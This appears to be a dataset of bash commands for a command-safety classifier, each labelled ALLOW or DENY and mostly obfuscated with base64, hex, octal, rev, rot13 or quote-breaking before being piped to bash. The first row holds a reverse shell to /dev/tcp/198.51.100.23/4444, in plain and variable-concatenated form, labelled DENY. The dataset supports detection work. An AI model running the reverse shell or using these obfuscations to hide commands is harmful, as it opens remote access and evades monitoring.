seed_id
stringclasses
36 values
family
stringclasses
17 values
is_risky
bool
2 classes
label
stringclasses
2 values
shell
stringclasses
1 value
canonical
stringclasses
36 values
id
stringlengths
19
19
command
stringlengths
23
424
transform
stringclasses
13 values
transform_chain
listlengths
0
2
verified
stringclasses
2 values
split
stringclasses
1 value
risky.reverse_shell.1
reverse_shell
true
DENY
bash
bash -i >& /dev/tcp/198.51.100.23/4444 0>&1
ob_b27d85eea0128f2f
a=ba;b=sh;$a$b -i >& /dev/tcp/198.51.100.23/4444 0>&1
var_concat
[ "var_concat" ]
decode
dev
benign.tr_text.1
tr_text
false
ALLOW
bash
echo 'Hello World' | tr '[:upper:]' '[:lower:]'
ob_8e102d797bb7b703
echo ZWNobyAnSGVsbG8gV29ybGQnIHwgdHIgJ1s6dXBwZXI6XScgJ1s6bG93ZXI6XSc= | base64 --decode | bash
b64_chunked
[ "b64_chunked" ]
decode
dev
benign.tr_text.2
tr_text
false
ALLOW
bash
echo 'a-b-c' | tr '-' '\n'
ob_3a96053ce6e84cc4
echo ZWNobyAnYS1iLWMnIHwgdHIgJy0nICdcbic= | base64 -d | bash
b64_pipe
[ "b64_pipe" ]
decode
dev
benign.tr_text.2
tr_text
false
ALLOW
bash
echo 'a-b-c' | tr '-' '\n'
ob_8b3d6a24e3163955
e\cho 'a-b-c' | tr '-' '\n'
backslash_break
[ "backslash_break" ]
decode
dev
benign.tr_text.2
tr_text
false
ALLOW
bash
echo 'a-b-c' | tr '-' '\n'
ob_402a992bab72681b
echo${IFS}ZWNobyAnYS1iLWMnIHwgdHIgJy0nICdcbic=|base64${IFS}-d|bash
chain_ifs_b64
[ "b64", "ifs" ]
decode
dev
benign.tr_text.2
tr_text
false
ALLOW
bash
echo 'a-b-c' | tr '-' '\n'
ob_d5de5531b31afea2
echo '=cibcdCIn0yJgIHdgwHInMWLi1SYnAyboNWZ' | rev | base64 -d | bash
chain_rev_b64
[ "b64", "rev" ]
decode
dev
benign.tr_text.2
tr_text
false
ALLOW
bash
echo 'a-b-c' | tr '-' '\n'
ob_1a1e79b1d77c355f
echo 6563686f2027612d622d6327207c20747220272d2720275c6e27 | xxd -r -p | bash
hex_pipe
[ "hex_pipe" ]
decode
dev
benign.tr_text.2
tr_text
false
ALLOW
bash
echo 'a-b-c' | tr '-' '\n'
ob_1e86200a76e1c7b1
echo 'a-b-c' | tr '-' '\n'
none
[]
plain
dev
benign.tr_text.2
tr_text
false
ALLOW
bash
echo 'a-b-c' | tr '-' '\n'
ob_f01452db7e40a879
printf '\145\143\150\157\040\047\141\055\142\055\143\047\040\174\040\164\162\040\047\055\047\040\047\134\156\047' | bash
octal_printf
[ "octal_printf" ]
decode
dev
benign.tr_text.2
tr_text
false
ALLOW
bash
echo 'a-b-c' | tr '-' '\n'
ob_0335b4cb9dfbb94f
e''cho 'a-b-c' | tr '-' '\n'
quote_break
[ "quote_break" ]
decode
dev
benign.tr_text.2
tr_text
false
ALLOW
bash
echo 'a-b-c' | tr '-' '\n'
ob_07948dc13e18629c
echo ''\''n\'\'' '\''-'\'' rt | '\''c-b-a'\'' ohce' | rev | bash
rev_pipe
[ "rev_pipe" ]
decode
dev
benign.tr_text.2
tr_text
false
ALLOW
bash
echo 'a-b-c' | tr '-' '\n'
ob_98c25d594b3a6e48
echo 'rpub '\''n-o-p'\'' | ge '\''-'\'' '\''\a'\''' | tr 'A-Za-z' 'N-ZA-Mn-za-m' | bash
rot13_pipe
[ "rot13_pipe" ]
decode
dev
benign.tr_text.1
tr_text
false
ALLOW
bash
echo 'Hello World' | tr '[:upper:]' '[:lower:]'
ob_a506d30f3cfd5d1b
a=ec;b=ho;$a$b 'Hello World' | tr '[:upper:]' '[:lower:]'
var_concat
[ "var_concat" ]
decode
dev
benign.var_build.2
var_build
false
ALLOW
bash
name=report; ext=csv; echo "$name.$ext"
ob_b118b668570a9d87
echo bmFtZT1yZXBvcnQ7IGV4dD1jc3Y7IGVjaG8gIiRuYW1lLiRleHQi | base64 --decode | bash
b64_chunked
[ "b64_chunked" ]
decode
dev
benign.var_build.2
var_build
false
ALLOW
bash
name=report; ext=csv; echo "$name.$ext"
ob_fd98c53de932aaac
echo bmFtZT1yZXBvcnQ7IGV4dD1jc3Y7IGVjaG8gIiRuYW1lLiRleHQi | base64 -d | bash
b64_pipe
[ "b64_pipe" ]
decode
dev
benign.var_build.1
var_build
false
ALLOW
bash
base=https://api.example.com; path=/v1/health; curl -s "$base$path"
ob_068983a74ea4a517
echo${IFS}YmFzZT1odHRwczovL2FwaS5leGFtcGxlLmNvbTsgcGF0aD0vdjEvaGVhbHRoOyBjdXJsIC1zICIkYmFzZSRwYXRoIg==|base64${IFS}-d|bash
chain_ifs_b64
[ "b64", "ifs" ]
decode
dev
benign.var_build.2
var_build
false
ALLOW
bash
name=report; ext=csv; echo "$name.$ext"
ob_7767ef825c344ad9
echo 'iQHelRiLl1WYuRiIg8GajVGI7Y3cj1Dd4VGI7QncvBXZy1TZtFmb' | rev | base64 -d | bash
chain_rev_b64
[ "b64", "rev" ]
decode
dev
benign.var_build.2
var_build
false
ALLOW
bash
name=report; ext=csv; echo "$name.$ext"
ob_81fc13ad588b7587
echo 6e616d653d7265706f72743b206578743d6373763b206563686f2022246e616d652e2465787422 | xxd -r -p | bash
hex_pipe
[ "hex_pipe" ]
decode
dev
benign.var_build.2
var_build
false
ALLOW
bash
name=report; ext=csv; echo "$name.$ext"
ob_1e82a7faae1bfc09
name=report; ext=csv; echo "$name.$ext"
none
[]
plain
dev
benign.var_build.2
var_build
false
ALLOW
bash
name=report; ext=csv; echo "$name.$ext"
ob_f8ad3da57adde3d5
printf '\156\141\155\145\075\162\145\160\157\162\164\073\040\145\170\164\075\143\163\166\073\040\145\143\150\157\040\042\044\156\141\155\145\056\044\145\170\164\042' | bash
octal_printf
[ "octal_printf" ]
decode
dev
benign.var_build.1
var_build
false
ALLOW
bash
base=https://api.example.com; path=/v1/health; curl -s "$base$path"
ob_7378081225816d5a
echo '"htap$esab$" s- lruc ;htlaeh/1v/=htap ;moc.elpmaxe.ipa//:sptth=esab' | rev | bash
rev_pipe
[ "rev_pipe" ]
decode
dev
benign.var_build.2
var_build
false
ALLOW
bash
name=report; ext=csv; echo "$name.$ext"
ob_6d1268f5a824316c
echo 'anzr=ercbeg; rkg=pfi; rpub "$anzr.$rkg"' | tr 'A-Za-z' 'N-ZA-Mn-za-m' | bash
rot13_pipe
[ "rot13_pipe" ]
decode
dev